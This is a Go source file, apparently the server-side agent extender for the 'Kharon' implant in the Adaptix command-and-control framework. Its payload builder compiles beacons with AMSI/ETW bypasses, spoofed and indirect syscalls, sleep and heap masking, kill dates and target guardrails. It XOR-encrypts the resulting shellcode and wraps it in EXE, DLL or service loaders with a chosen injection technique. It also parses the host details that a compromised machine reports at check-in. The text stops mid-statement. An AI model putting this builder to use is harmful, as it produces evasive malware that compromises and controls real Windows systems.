package main import ( "bytes" "encoding/base64" "encoding/binary" "encoding/hex" "encoding/json" mrand "math/rand" "os" "os/exec" "path/filepath" "sort" "strconv" "time" "errors" "fmt" "math/rand" "strings" "github.com/google/uuid" ax "github.com/Adaptix-Framework/axc2" ) type EncryptResult struct { Data []byte KeyStr string } type EncryptFunc func(data []byte) (EncryptResult, error) var encryptors = map[string]EncryptFunc{ "xor": encryptXor, // "aes": encryptAes, // "rc4": encryptRc4, } func bytesToCKey(key []byte) string { parts := make([]string, len(key)) for i, b := range key { parts[i] = fmt.Sprintf("0x%02x", b) } return "{ " + strings.Join(parts, ", ") + " }" } func encryptXor(data []byte) (EncryptResult, error) { key := make([]byte, 16) if _, err := rand.Read(key); err != nil { return EncryptResult{}, err } encrypted := make([]byte, len(data)) for i := range data { encrypted[i] = data[i] ^ key[i%16] } return EncryptResult{ Data: encrypted, KeyStr: bytesToCKey(key), }, nil } func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) { /// START CODE /// END CODE return nil, nil } func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) { fmt.Println("=== AgentGenerateBuild START ===") fmt.Printf("DEBUG: agentConfig length: %d bytes\n", len(agentConfig)) fmt.Printf("DEBUG: agentProfile length: %d bytes\n", len(agentProfile)) fmt.Printf("DEBUG: listenerMap keys: %v\n", get_map_keys(listenerMap)) var cfg AgentConfig if err := json.Unmarshal([]byte(agentConfig), &cfg); err != nil { fmt.Printf("ERROR: Failed to parse agentConfig: %v\n", err) return nil, "", fmt.Errorf("failed to parse agentConfig: %v", err) } // Detect protocol from listener profile protocol := "" if p, ok := listenerMap["protocol"].(string); ok { protocol = p } isSMB := (protocol == "bind_smb") fmt.Printf("DEBUG: Protocol: %s (isSMB: %v)\n", protocol, isSMB) var malleableBytes []byte var callbackCount int if !isSMB { decoded, err := base64.StdEncoding.DecodeString(fmt.Sprint(listenerMap["uploaded_file"])) if err != nil { fmt.Printf("ERROR: failed decode base64: %v\n", err) return nil, "", err } malleable_str := string(decoded) fmt.Printf("DEBUG: Malleable profile decoded (%d bytes)\n", len(malleable_str)) // Build malleable HTTP bytes malleableBytes, callbackCount, err = BuildMalleableHTTPBytes(malleable_str) if err != nil { fmt.Printf("ERROR: Failed to build malleable HTTP bytes: %v\n", err) return nil, "", err } fmt.Printf("DEBUG: Malleable bytes generated (%d bytes)\n", len(malleableBytes)) fmt.Printf("DEBUG: HTTP Callback count: %d\n", callbackCount) } else { fmt.Println("DEBUG: SMB profile — skipping malleable HTTP parsing") } // Get working directory wd, err := os.Getwd() if err != nil { fmt.Printf("ERROR: Failed to get working directory: %v\n", err) panic(err) } fmt.Printf("DEBUG: Working directory: %s\n", wd) targetPath := filepath.Join(filepath.Dir(wd), "dist", "extenders", "agent_kharon", "src_beacon") fmt.Printf("DEBUG: Target path: %s\n", targetPath) if _, err := os.Stat(targetPath); os.IsNotExist(err) { fmt.Printf("ERROR: Target path does not exist: %s\n", targetPath) return nil, "", fmt.Errorf("target path not found: %s", targetPath) } // SSL configuration sslEnabled := false if s, ok := listenerMap["ssl"].(bool); ok { sslEnabled = s fmt.Printf("DEBUG: SSL from bool: %v\n", sslEnabled) } else if s2, ok := listenerMap["ssl"].(string); ok { sslEnabled = (s2 == "1" || strings.EqualFold(s2, "true")) fmt.Printf("DEBUG: SSL from string %q: %v\n", s2, sslEnabled) } else { fmt.Printf("DEBUG: SSL field not found or unknown type: %T\n", listenerMap["ssl"]) } // Proxy configuration proxyURL := fmt.Sprint(listenerMap["proxy_url"]) if proxyURL == "" { proxyURL = "" } proxyURL = strings.ReplaceAll(proxyURL, `\`, `\\`) proxyURL = strings.ReplaceAll(proxyURL, `"`, `\"`) proxyEnabled := false if strings.TrimSpace(proxyURL) != "" { proxyEnabled = true fmt.Printf("DEBUG: Proxy enabled with URL: %s\n", proxyURL) } else { fmt.Println("DEBUG: Proxy disabled") } proxyUser := fmt.Sprint(listenerMap["proxy_user"]) if proxyUser == "" { proxyUser = "" } proxyUser = strings.ReplaceAll(proxyUser, `\`, `\\`) proxyUser = strings.ReplaceAll(proxyUser, `"`, `\"`) proxyPass := fmt.Sprint(listenerMap["proxy_pass"]) if proxyPass == "" { proxyPass = "" } proxyPass = strings.ReplaceAll(proxyPass, `\`, `\\`) proxyPass = strings.ReplaceAll(proxyPass, `"`, `\"`) // Parse killdate killdateDay := 0 killdateMonth := 0 killdateYear := 0 if cfg.KilldateCheck && cfg.KilldateDate != "" { fmt.Printf("DEBUG: Parsing killdate: %s\n", cfg.KilldateDate) parts := strings.Split(cfg.KilldateDate, ".") if len(parts) == 3 { if d, err := strconv.Atoi(parts[0]); err == nil { killdateDay = d } else { fmt.Printf("WARNING: Failed to parse killdate day: %v\n", err) } if m, err := strconv.Atoi(parts[1]); err == nil { killdateMonth = m } else { fmt.Printf("WARNING: Failed to parse killdate month: %v\n", err) } if y, err := strconv.Atoi(parts[2]); err == nil { killdateYear = y } else { fmt.Printf("WARNING: Failed to parse killdate year: %v\n", err) } fmt.Printf("DEBUG: Killdate parsed: %02d.%02d.%04d\n", killdateDay, killdateMonth, killdateYear) } else { fmt.Printf("WARNING: Invalid killdate format (expected DD.MM.YYYY): %s\n", cfg.KilldateDate) } } // Parse working time workStartHour := 0 workStartMin := 0 workEndHour := 0 workEndMin := 0 if cfg.WorkingTimeCheck { fmt.Println("DEBUG: Parsing working time...") if cfg.WorkingTimeStart != "" { parts := strings.Split(cfg.WorkingTimeStart, ":") if len(parts) == 2 { if h, err := strconv.Atoi(parts[0]); err == nil { workStartHour = h } else { fmt.Printf("WARNING: Failed to parse work start hour: %v\n", err) } if m, err := strconv.Atoi(parts[1]); err == nil { workStartMin = m } else { fmt.Printf("WARNING: Failed to parse work start minute: %v\n", err) } fmt.Printf("DEBUG: Work start time: %02d:%02d\n", workStartHour, workStartMin) } else { fmt.Printf("WARNING: Invalid work start time format: %s\n", cfg.WorkingTimeStart) } } if cfg.WorkingTimeEnd != "" { parts := strings.Split(cfg.WorkingTimeEnd, ":") if len(parts) == 2 { if h, err := strconv.Atoi(parts[0]); err == nil { workEndHour = h } else { fmt.Printf("WARNING: Failed to parse work end hour: %v\n", err) } if m, err := strconv.Atoi(parts[1]); err == nil { workEndMin = m } else { fmt.Printf("WARNING: Failed to parse work end minute: %v\n", err) } fmt.Printf("DEBUG: Work end time: %02d:%02d\n", workEndHour, workEndMin) } else { fmt.Printf("WARNING: Invalid work end time format: %s\n", cfg.WorkingTimeEnd) } } } // Parse sleep time khSleep := cfg.Sleep if khSleep == "" { khSleep = "3" fmt.Println("DEBUG: Using default sleep time: 3s") } else { khSleep = strings.TrimSuffix(khSleep, "s") fmt.Printf("DEBUG: Sleep time: %s\n", khSleep) } // Escape and format ForkPipe forkPipe := cfg.ForkPipe forkPipe = strings.ReplaceAll(forkPipe, `\`, `\\`) forkPipe = strings.ReplaceAll(forkPipe, `"`, `\"`) forkPipeC := fmt.Sprintf("\"%s\"", forkPipe) // Escape and format Spawnto spawnto := cfg.Spawnto spawnto = strings.ReplaceAll(spawnto, `\`, `\\`) spawnto = strings.ReplaceAll(spawnto, `"`, `\"`) fmt.Printf("DEBUG: Spawnto (for make): %s\n", spawnto) // Build make variables makeVars := []string{ fmt.Sprintf("WEB_SECURE_ENABLED=%d", bool_to_int(sslEnabled)), fmt.Sprintf("WEB_PROXY_ENABLED=%d", bool_to_int(proxyEnabled)), fmt.Sprintf("WEB_PROXY_URL=%s", proxyURL), fmt.Sprintf("WEB_PROXY_USERNAME=%s", proxyUser), fmt.Sprintf("WEB_PROXY_PASSWORD=%s", proxyPass), fmt.Sprintf("KH_SLEEP_TIME=%s", khSleep), fmt.Sprintf("KH_JITTER=%d", cfg.Jitter), fmt.Sprintf("KH_AGENT_UUID=%s", uuid.New()), fmt.Sprintf("KH_WORKTIME_ENABLED=%d", bool_to_int(cfg.WorkingTimeCheck)), fmt.Sprintf("KH_WORKTIME_START_HOUR=%d", workStartHour), fmt.Sprintf("KH_WORKTIME_START_MIN=%d", workStartMin), fmt.Sprintf("KH_WORKTIME_END_HOUR=%d", workEndHour), fmt.Sprintf("KH_WORKTIME_END_MIN=%d", workEndMin), fmt.Sprintf("KH_KILLDATE_ENABLED=%d", bool_to_int(cfg.KilldateCheck)), fmt.Sprintf("KH_KILLDATE_DAY=%d", killdateDay), fmt.Sprintf("KH_KILLDATE_MONTH=%d", killdateMonth), fmt.Sprintf("KH_KILLDATE_YEAR=%d", killdateYear), fmt.Sprintf("KH_FORK_PIPENAME=%s", forkPipeC), fmt.Sprintf("KH_SPAWNTO_X64=%s", spawnto), fmt.Sprintf("KH_BOF_HOOK_ENABLED=%d", bool_to_int(cfg.BofApiProxy)), } // Profile-specific make variables if isSMB { // SMB profile: set PROFILE_C2 and pipe name, use dummy HTTP values pipename := fmt.Sprint(listenerMap["pipename"]) if pipename == "" || pipename == "" { pipename = "kharon_c2" } SmbPipeName = pipename // persist for CreateTask auto-resolution // Build pipe path and convert to C byte array (avoids Make/Shell escaping issues) pipePath := fmt.Sprintf("\\\\.\\pipe\\%s", pipename) pipeBytes := append([]byte(pipePath), 0x00) // null-terminated smbPipeHex := bytes_to_hexstr(pipeBytes) makeVars = append(makeVars, "PROFILE_C2=0x15", fmt.Sprintf("SMB_PIPE_NAME=\"%s\"", smbPipeHex), "HTTP_MALLEABLE_BYTES=\"{0x00}\"", "HTTP_CALLBACK_COUNT=0", ) fmt.Printf("DEBUG: SMB pipe path: %s\n", pipePath) fmt.Printf("DEBUG: SMB pipe hex: %s\n", smbPipeHex) } else { // HTTP profile: malleable bytes makeVars = append(makeVars, fmt.Sprintf("HTTP_MALLEABLE_BYTES=\"%s\"", bytes_to_hexstr(malleableBytes)), fmt.Sprintf("HTTP_CALLBACK_COUNT=%d", callbackCount), ) } // Guardrails if cfg.GuardUserName != "" { makeVars = append(makeVars, fmt.Sprintf("KH_GUARDRAILS_USER=%s", cfg.GuardUserName)) fmt.Printf("DEBUG: Guardrail - Username: %s\n", cfg.GuardUserName) } if cfg.GuardDomainName != "" { makeVars = append(makeVars, fmt.Sprintf("KH_GUARDRAILS_DOMAIN=%s", cfg.GuardDomainName)) fmt.Printf("DEBUG: Guardrail - Domain: %s\n", cfg.GuardDomainName) } if cfg.GuardHostName != "" { makeVars = append(makeVars, fmt.Sprintf("KH_GUARDRAILS_HOST=%s", cfg.GuardHostName)) fmt.Printf("DEBUG: Guardrail - Hostname: %s\n", cfg.GuardHostName) } if cfg.GuardIpAddress != "" { makeVars = append(makeVars, fmt.Sprintf("KH_GUARDRAILS_IPADDRESS=%s", cfg.GuardIpAddress)) fmt.Printf("DEBUG: Guardrail - IP Address: %s\n", cfg.GuardIpAddress) } // Syscall flags fmt.Printf("DEBUG: Syscall method: %s\n", cfg.Syscall) switch cfg.Syscall { case "Stack Spoof + Indirect": makeVars = append(makeVars, "KH_SYSCALL=2") case "Stack Spoof": makeVars = append(makeVars, "KH_SYSCALL=1") default: makeVars = append(makeVars, "KH_SYSCALL=0") } // AMSI + ETW bypass fmt.Printf("DEBUG: Bypass method: %s\n", cfg.Bypass) switch cfg.Bypass { case "AMSI": makeVars = append(makeVars, "KH_AMSI_ETW_BYPASS=0x1") case "ETW": makeVars = append(makeVars, "KH_AMSI_ETW_BYPASS=0x2") case "AMSI + ETW": makeVars = append(makeVars, "KH_AMSI_ETW_BYPASS=0x3") default: makeVars = append(makeVars, "KH_AMSI_ETW_BYPASS=0x0") } // Heap obfuscation fmt.Printf("DEBUG: Mask heap: %v\n", cfg.MaskHeap) if cfg.MaskHeap { makeVars = append(makeVars, "KH_HEAP_MASK=1") } else { makeVars = append(makeVars, "KH_HEAP_MASK=0") } // Sleep mask fmt.Printf("DEBUG: Sleep mask: %s\n", cfg.MaskSleep) switch strings.ToLower(cfg.MaskSleep) { case "timer": makeVars = append(makeVars, "KH_SLEEP_MASK=1") case "pooling": makeVars = append(makeVars, "KH_SLEEP_MASK=2") default: makeVars = append(makeVars, "KH_SLEEP_MASK=3") } // Determine build target debugMode := cfg.Debug target := "x64" if strings.EqualFold(cfg.Format, "x86") { target = "x86" } if debugMode { target = target + "-debug" } fmt.Printf("DEBUG: Build target: %s\n", target) fmt.Println("\n→ Make variables:") for _, v := range makeVars { fmt.Println(" ", v) } // Execute make command allArgs := append([]string{"-C", targetPath, target}, makeVars...) cmd := exec.Command("make", allArgs...) fmt.Printf("\nDEBUG: Running command: make %v\n", allArgs) var stdOut, stdErr bytes.Buffer cmd.Stdout = &stdOut cmd.Stderr = &stdErr fmt.Println("DEBUG: Executing make command...") if err := cmd.Run(); err != nil { fmt.Printf("ERROR: Make command failed: %v\n", err) fmt.Printf("STDOUT:\n%s\n", stdOut.String()) fmt.Printf("STDERR:\n%s\n", stdErr.String()) return nil, "", fmt.Errorf("make failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdOut.String(), stdErr.String()) } fmt.Println("DEBUG: Make command completed successfully") // Read compiled beacon outputFile := filepath.Join(targetPath, "Bin", fmt.Sprintf("Kharon.%s.bin", target)) fmt.Printf("DEBUG: Reading output file: %s\n", outputFile) bin, err := os.ReadFile(outputFile) if err != nil { fmt.Printf("ERROR: Failed to read output file %s: %v\n", outputFile, err) return nil, "", fmt.Errorf("failed to read output (%s): %v", outputFile, err) } fmt.Printf("DEBUG: Read %d bytes from output file\n", len(bin)) encryptionType := strings.ToLower(cfg.EncryptionTechnique) if encryptionType == "" { encryptionType = "none" } keyStr := "{ 0 }" if encryptFn, ok := encryptors[encryptionType]; ok { result, err := encryptFn(bin) if err != nil { return nil, "", fmt.Errorf("encryption failed: %v", err) } bin = result.Data keyStr = result.KeyStr } outFileName := "" var finalBin []byte fmt.Printf("\nDEBUG: Processing format: %s\n", cfg.Format) // Compile loader if needed if cfg.Format == "Exe" || cfg.Format == "Dll" || cfg.Format == "Svc" { fmt.Println("→ Compiling loader for format:", cfg.Format) loaderPath := filepath.Join(filepath.Dir(wd), "dist", "extenders", "agent_kharon", "src_loader") fmt.Printf("DEBUG: Loader path: %s\n", loaderPath) if _, err := os.Stat(loaderPath); os.IsNotExist(err) { fmt.Printf("ERROR: Loader path does not exist: %s\n", loaderPath) return nil, "", fmt.Errorf("loader path not found: %s", loaderPath) } // Generate shellcode header customSectionName := cfg.CustomSectionName if len(customSectionName) == 0 || len(customSectionName) > 8 { return nil, "", fmt.Errorf("section name must be 1-8 bytes, got %d", len(customSectionName)) } rsrcID := mrand.Intn(50) + 100 shellcodeHeaderPath := filepath.Join(loaderPath, "Include", "Shellcode.h") if cfg.PeSection == "rsrc" { rsrcHeader := "#pragma once\n\n#include \n\nnamespace Shellcode {\n extern uint8_t* Data;\n extern size_t Size;\n}\n" if err := os.WriteFile(shellcodeHeaderPath, []byte(rsrcHeader), 0644); err != nil { return nil, "", fmt.Errorf("failed to write Shellcode.h for rsrc: %v", err) } fmt.Println("→ Shellcode.h (rsrc) written to:", shellcodeHeaderPath) shellcodeBinPath := filepath.Join(loaderPath, "Include", "shellcode.bin") if err := os.WriteFile(shellcodeBinPath, bin, 0644); err != nil { return nil, "", fmt.Errorf("failed to write shellcode.bin: %v", err) } rcContent := fmt.Sprintf("%d RCDATA \"%s\"\n", rsrcID, shellcodeBinPath) rcPath := filepath.Join(loaderPath, "Include", "shellcode.rc") if err := os.WriteFile(rcPath, []byte(rcContent), 0644); err != nil { return nil, "", fmt.Errorf("failed to write shellcode.rc: %v", err) } resPath := filepath.Join(loaderPath, "Include", "shellcode.res") stdOut.Reset() stdErr.Reset() windresCmd := exec.Command("x86_64-w64-mingw32-windres", rcPath, "-O", "coff", "-o", resPath) windresCmd.Stdout = &stdOut windresCmd.Stderr = &stdErr if err := windresCmd.Run(); err != nil { return nil, "", fmt.Errorf("windres failed: %v\nstderr:\n%s", err, stdErr.String()) } fmt.Println("→ shellcode.res generated for .rsrc embedding") } else { shellcodeContent := gen_shellcode_header(bin, cfg.PeSection, customSectionName) fmt.Printf("DEBUG: PeSection: %s\n", cfg.PeSection) fmt.Printf("DEBUG: Generated shellcode header (%d bytes)\n", len(shellcodeContent)) if err := os.WriteFile(shellcodeHeaderPath, []byte(shellcodeContent), 0644); err != nil { fmt.Printf("ERROR: Failed to write Shellcode.h: %v\n", err) return nil, "", fmt.Errorf("failed to write Shellcode.h: %v", err) } fmt.Println("→ Shellcode injected into:", shellcodeHeaderPath) } var sourceFile string var outputName string switch cfg.Format { case "Exe": sourceFile = "Exe.cc" outputName = "Kharon.x64.exe" case "Dll": sourceFile = "Dll.cc" outputName = "Kharon.x64.dll" case "Svc": sourceFile = "Svc.cc" outputName = "Kharon.x64.svc.exe" } fmt.Printf("DEBUG: Source file: %s, Output name: %s\n", sourceFile, outputName) sourcePath := filepath.Join(loaderPath, "Source", "Main", sourceFile) outputPath := filepath.Join(loaderPath, "Bin", outputName) if _, err := os.Stat(sourcePath); os.IsNotExist(err) { fmt.Printf("ERROR: Source file does not exist: %s\n", sourcePath) return nil, "", fmt.Errorf("source file not found: %s", sourcePath) } binDir := filepath.Join(loaderPath, "Bin") if err := os.MkdirAll(binDir, 0755); err != nil { fmt.Printf("ERROR: Failed to create Bin directory: %v\n", err) return nil, "", fmt.Errorf("failed to create Bin directory: %v", err) } fmt.Printf("DEBUG: Created/verified Bin directory: %s\n", binDir) makeArgs := []string{ "-C", loaderPath, "build", fmt.Sprintf("FORMAT=%s", cfg.Format), fmt.Sprintf("SECTION=%s", cfg.PeSection), fmt.Sprintf("CUSTOM_SECTION_NAME=%s", customSectionName), fmt.Sprintf("RSRC_ID=%d", rsrcID), fmt.Sprintf("XOR_KEY=%s", keyStr), fmt.Sprintf("ENCRYPTION_TYPE=%s", encryptionType), fmt.Sprintf("INJECTION_TECHNIQUE=%s", cfg.InjectionTechnique), } fmt.Printf("→ Running make: %v\n", makeArgs) stdOut.Reset() stdErr.Reset() makeCmd := exec.Command("make", makeArgs...) makeCmd.Stdout = &stdOut makeCmd.Stderr = &stdErr fmt.Println("DEBUG: Executing make command...") if err := makeCmd.Run(); err != nil { fmt.Printf("ERROR: make command failed: %v\n", err) fmt.Printf("STDOUT:\n%s\n", stdOut.String()) fmt.Printf("STDERR:\n%s\n", stdErr.String()) return nil, "", fmt.Errorf("make failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdOut.String(), stdErr.String()) } fmt.Println("DEBUG: make command completed successfully") finalBin, err = os.ReadFile(outputPath) if err != nil { fmt.Printf("ERROR: Failed to read loader output %s: %v\n", outputPath, err) return nil, "", fmt.Errorf("failed to read loader output (%s): %v", outputPath, err) } fmt.Printf("DEBUG: Read %d bytes from loader output\n", len(finalBin)) outFileName = outputName fmt.Println("→ Loader compiled successfully:", outputPath) } // Set output filename and final binary switch cfg.Format { case "Exe": outFileName = "Kharon.x64.exe" case "Dll": outFileName = "Kharon.x64.dll" case "Svc": outFileName = "Kharon.x64.svc.exe" case "Bin": outFileName = "Kharon.x64.bin" finalBin = bin fmt.Println("DEBUG: Using raw binary format") default: outFileName = fmt.Sprintf("Kharon.%s.bin", target) finalBin = bin fmt.Printf("DEBUG: Using default format with target: %s\n", target) } fmt.Println("\n✓ Build completed successfully!") fmt.Printf(" Output file: %s\n", outFileName) fmt.Printf(" Final size: %d bytes\n", len(finalBin)) fmt.Println("=== AgentGenerateBuild END ===\n") return finalBin, outFileName, nil } func GetWindowsVersionName(major uint32, minor uint32, build uint32) string { if major == 10 && minor == 0 { if build >= 22000 { return "Windows 11" } return "Windows 10" } // Windows 8.1 if major == 6 && minor == 3 { return "Windows 8.1" } // Windows 8 if major == 6 && minor == 2 { return "Windows 8" } // Windows 7 if major == 6 && minor == 1 { return "Windows 7" } // Windows Vista if major == 6 && minor == 0 { return "Windows Vista" } return fmt.Sprintf("Windows %d.%d (Build %d)", major, minor, build) } func GetDetailedWindowsVersion(major uint32, minor uint32, build uint32) map[string]interface{} { versionInfo := map[string]interface{}{ "version_number": fmt.Sprintf("%d.%d", major, minor), "build": build, "name": "", "release_name": "", } if major == 10 && minor == 0 { versionInfo["name"] = "Windows 10/11" if build >= 22000 { versionInfo["name"] = "Windows 11" switch { case build >= 22621: versionInfo["release_name"] = "23H2" case build >= 22000: versionInfo["release_name"] = "21H2" } } else { versionInfo["name"] = "Windows 10" switch { case build >= 19045: versionInfo["release_name"] = "22H2" case build >= 19044: versionInfo["release_name"] = "22H2" case build >= 19043: versionInfo["release_name"] = "21H2" case build >= 19041: versionInfo["release_name"] = "21H1" } } } else if major == 6 && minor == 3 { versionInfo["name"] = "Windows 8.1" versionInfo["release_name"] = "8.1" } else if major == 6 && minor == 2 { versionInfo["name"] = "Windows 8" versionInfo["release_name"] = "8" } else if major == 6 && minor == 1 { versionInfo["name"] = "Windows 7" versionInfo["release_name"] = "7" } else if major == 6 && minor == 0 { versionInfo["name"] = "Windows Vista" versionInfo["release_name"] = "Vista" } return versionInfo } func CreateAgent(initialData []byte) (ax.AgentData, ax.ExtenderAgent, error) { var ( agent ax.AgentData khcfg KharonData ) packer := CreatePacker(initialData) command := packer.ParseInt8() if command != 0xf1 { return agent, ModuleObject.ext, errors.New("error agent checkin data") } khcfg.Session.AgentIdStr = string(packer.ParsePad(36)) agentId := fmt.Sprintf("%08x", rand.Uint32()) fmt.Printf("Agent ID: %s\n", agentId) fmt.Printf("Agent Random UUID: %s\n", khcfg.Session.AgentIdStr) khcfg.Session.AgentIdStr = agentId khcfg.Machine.OsArch = packer.ParseInt8() fmt.Printf("OS Arch: %v\n", khcfg.Machine.OsArch) khcfg.Machine.Username = string(packer.ParseBytes()) fmt.Printf("Username: %v\n", khcfg.Machine.Username) khcfg.Machine.Computer = packer.ParseString() fmt.Printf("Computer: %s\n", khcfg.Machine.Computer) khcfg.Machine.Domain = packer.ParseString() fmt.Printf("Domain: %s\n", khcfg.Machine.Domain) khcfg.Machine.Netbios = packer.ParseString() fmt.Printf("NETBIOS: %s\n", khcfg.Machine.Netbios) khcfg.Session.ProcessId = uint32(packer.ParseInt32()) fmt.Printf("PID: %v\n", khcfg.Session.ProcessId) khcfg.Session.ImgPath = packer.ParseString() fmt.Printf("Image Path: %s\n", khcfg.Session.ImgPath) khcfg.Session.Acp = uint32(packer.ParseInt32()) fmt.Printf("ACP: %v\n", khcfg.Session.Acp) khcfg.Session.Oemcp = uint32(packer.ParseInt32()) fmt.Printf("OEMCP: %v\n", khcfg.Session.Oemcp) khcfg.Evasion.Syscall = uint32(packer.ParseInt32()) fmt.Printf("Syscall: %v\n", khcfg.Evasion.Syscall) khcfg.Evasion.BofProxy = packer.ParseInt32() != 0 fmt.Printf("BOF Proxy: %v\n", khcfg.Evasion.BofProxy) khcfg.Evasion.AmsiEtwBypass = int32(packer.ParseInt32()) fmt.Printf("AMSI/ETW Bypass: %v\n", khcfg.Evasion.AmsiEtwBypass) khcfg.Killdate.Enabled = packer.ParseInt32() != 0 fmt.Printf("Killdate Enabled: %v\n", khcfg.Killdate.Enabled) khcfg.Killdate.Exit = packer.ParseInt32() != 0 fmt.Printf("Killdate Exit: %v\n", khcfg.Killdate.Exit) khcfg.Killdate.Selfdel = packer.ParseInt32() != 0 fmt.Printf("Killdate SelfDelete: %v\n", khcfg.Killdate.Selfdel) year := int(packer.ParseInt16()) month := int(packer.ParseInt16()) day := int(packer.ParseInt16()) fmt.Printf("Killdate - Year: %d, Month: %d, Day: %d\n", year, month, day) if year < 1 || year > 9999 { year = 2025 } if month < 1 || month > 12 { month = 1 } if day < 1 || day > 31 { day = 1 } khcfg.Killdate.Date = time.Date(year, time.Month(month), day, 0, 0, 0, 0, time.UTC) fmt.Printf("Killdate Date: %s\n", khcfg.Killdate.Date.Format("02/01/2006")) khcfg.Worktime.Enabled = packer.ParseInt32() != 0 fmt.Printf("Worktime Enabled: %v\n", khcfg.Killdate.Enabled) startHour := packer.ParseInt16() startMin := packer.ParseInt16() endHour := packer.ParseInt16() endMin := packer.ParseInt16() khcfg.Worktime.Start = fmt.Sprintf("%02d:%02d", startHour, startMin) khcfg.Worktime.End = fmt.Sprintf("%02d:%02d", endHour, endMin) fmt.Printf("Worktime: %s - %s\n", khcfg.Worktime.Start, khcfg.Worktime.End) khcfg.Guardrails.Ipaddress = packer.ParseString() fmt.Printf("Guard IP: %s\n", khcfg.Guardrails.Ipaddress) khcfg.Guardrails.Hostname = packer.ParseString() fmt.Printf("Guard Hostname: %s\n", khcfg.Guardrails.Hostname) khcfg.Guardrails.Username = packer.ParseString() fmt.Printf("Guard Username: %s\n", khcfg.Guardrails.Username) khcfg.Guardrails.Domain = packer.ParseString() fmt.Printf("Guard Domain: %s\n", khcfg.Guardrails.Domain) khcfg.Session.CmdLine = packer.ParseString() fmt.Printf("CommandLine: %v\n", khcfg.Session.CmdLine) khcfg.Session.HeapHandle = uint64(packer.ParseInt64()) fmt.Printf("Heap Handle: 0x%X\n", khcfg.Session.HeapHandle) khcfg.Session.Elevated = packer.ParseInt32() != 0 fmt.Printf("Elevated: %v\n", khcfg.Session.Elevated) khcfg.Session.Jitter = uint32(packer.ParseInt32()) fmt.Printf("Jitter: %v\n", khcfg.Session.Jitter) khcfg.Session.SleepTime = uint32(packer.ParseInt32()) fmt.Printf("Sleep(ms): %v\n", khcfg.Session.SleepTime) khcfg.Session.ParentId = uint32(packer.ParseInt32()) fmt.Printf("ParentID: %v\n", khcfg.Session.ParentId) khcfg.Session.ProcessArch = uint32(packer.ParseInt32()) fmt.Printf("Process Arch: %v\n", khcfg.Session.ProcessArch) khcfg.Session.Base.Start = fmt.Sprintf("%#x", uint64(packer.ParseInt64())) fmt.Printf("Kharon Memory Start: %v\n", khcfg.Session.Base.Start) khcfg.Session.Base.Size = uint32(packer.ParseInt32()) fmt.Printf("Kharon Memory Length: %v\n", khcfg.Session.Base.Size) startAddr, _ := strconv.ParseUint(strings.TrimPrefix(khcfg.Session.Base.Start, "0x"), 16, 64) khcfg.Session.Base.End = fmt.Sprintf("%#x", startAddr+uint64(khcfg.Session.Base.Size)) fmt.Printf("Kharon Memory End: %s\n", khcfg.Session.Base.End) khcfg.Session.ThreadId = uint32(packer.ParseInt32()) fmt.Printf("TID: %v\n", khcfg.Session.ThreadId) khcfg.Ps.Spawnto = string(packer.ParseBytes()) fmt.Printf("Spawnto: %v\n", khcfg.Ps.Spawnto) khcfg.Ps.ForkPipe = string(packer.ParseBytes()) fmt.Printf("ForkPipeName: %v\n", khcfg.Ps.ForkPipe) khcfg.Mask.Jmpgadget = fmt.Sprintf("%#x", uint64(packer.ParseInt64())) fmt.Printf("JmpGadget: %v\n", khcfg.Mask.Jmpgadget) khcfg.Mask.Heap = packer.ParseInt32() != 0 fmt.Printf("Mask Heap: %v\n", khcfg.Mask.Heap) khcfg.Mask.Ntcontinue = fmt.Sprintf("%#x", uint64(packer.ParseInt64())) fmt.Printf("NtContinue: %v\n", khcfg.Mask.Ntcontinue) khcfg.Mask.Beacon = uint32(packer.ParseInt32()) fmt.Printf("Mask Beacon: %v\n", khcfg.Mask.Beacon) khcfg.Machine.ProcessorName = string(packer.ParseBytes()) fmt.Printf("Processor Name: %v\n", khcfg.Machine.ProcessorName) khcfg.Machine.Ipaddress = int32_to_ipv4(packer.ParseInt32()) fmt.Printf("IP Address: %s\n", khcfg.Machine.Ipaddress) khcfg.Machine.RamTotal = uint32(packer.ParseInt32()) fmt.Printf("Total RAM: %v MB\n", khcfg.Machine.RamTotal) khcfg.Machine.RamAval = uint32(packer.ParseInt32()) fmt.Printf("Available RAM: %v MB\n", khcfg.Machine.RamAval) khcfg.Machine.RamUsed = uint32(packer.ParseInt32()) fmt.Printf("Used RAM: %v MB\n", khcfg.Machine.RamUsed) khcfg.Machine.RamPerct = uint32(packer.ParseInt32()) fmt.Printf("Percent RAM: %v%%\n", khcfg.Machine.RamPerct) khcfg.Machine.ProcessorNumbers = uint32(packer.ParseInt32()) fmt.Printf("Processors Nbr: %v\n", khcfg.Machine.ProcessorNumbers) khcfg.Machine.OsMajor = uint32(packer.ParseInt32()) fmt.Printf("OS Major: %v\n", khcfg.Machine.OsMajor) khcfg.Machine.OsMinor = uint32(packer.ParseInt32()) fmt.Printf("OS Minor: %v\n", khcfg.Machine.OsMinor) khcfg.Machine.OsBuild = uint32(packer.ParseInt32()) fmt.Printf("OS Build: %v\n", khcfg.Machine.OsBuild) khcfg.Machine.AllocationGran = uint32(packer.ParseInt32()) fmt.Printf("Allocation Granularity: %v\n", khcfg.Machine.AllocationGran) khcfg.Machine.PageSize = uint32(packer.ParseInt32()) fmt.Printf("Page Size: %v\n", khcfg.Machine.PageSize) khcfg.Machine.CfgEnabled = packer.ParseInt32() != 0 fmt.Printf("CFG Enabled: %v\n", khcfg.Machine.CfgEnabled) khcfg.Machine.VbsHvci = uint32(packer.ParseInt32()) fmt.Printf("VBS/HVCI Status: %v\n", khcfg.Machine.VbsHvci) khcfg.Machine.DseStatus = uint32(packer.ParseInt32()) khcfg.Machine.TestsignEnabled = packer.ParseInt32() != 0 fmt.Printf("Test Signing Enabled: %v\n", khcfg.Machine.TestsignEnabled) khcfg.Machine.DebugmodeEnabled = packer.ParseInt32() != 0 khcfg.Machine.SecurebootEnabled = packer.ParseInt32() != 0 key := packer.ParseBytes() // SMB pipe name (empty for HTTP beacons) khcfg.PipeName = packer.ParseString() process := ConvertCpToUTF8(khcfg.Session.ImgPath, int(khcfg.Session.Acp)) if strings.Contains(process, "\\") { parts := strings.Split(process, "\\") process = parts[len(parts)-1] } khcfg.Session.ImgName = process versionInfo := GetDetailedWindowsVersion(khcfg.Machine.OsMajor, khcfg.Machine.OsMinor, khcfg.Machine.OsBuild) osDesc := fmt.Sprintf("%s (%s)", versionInfo["name"], versionInfo["release_name"]) agent 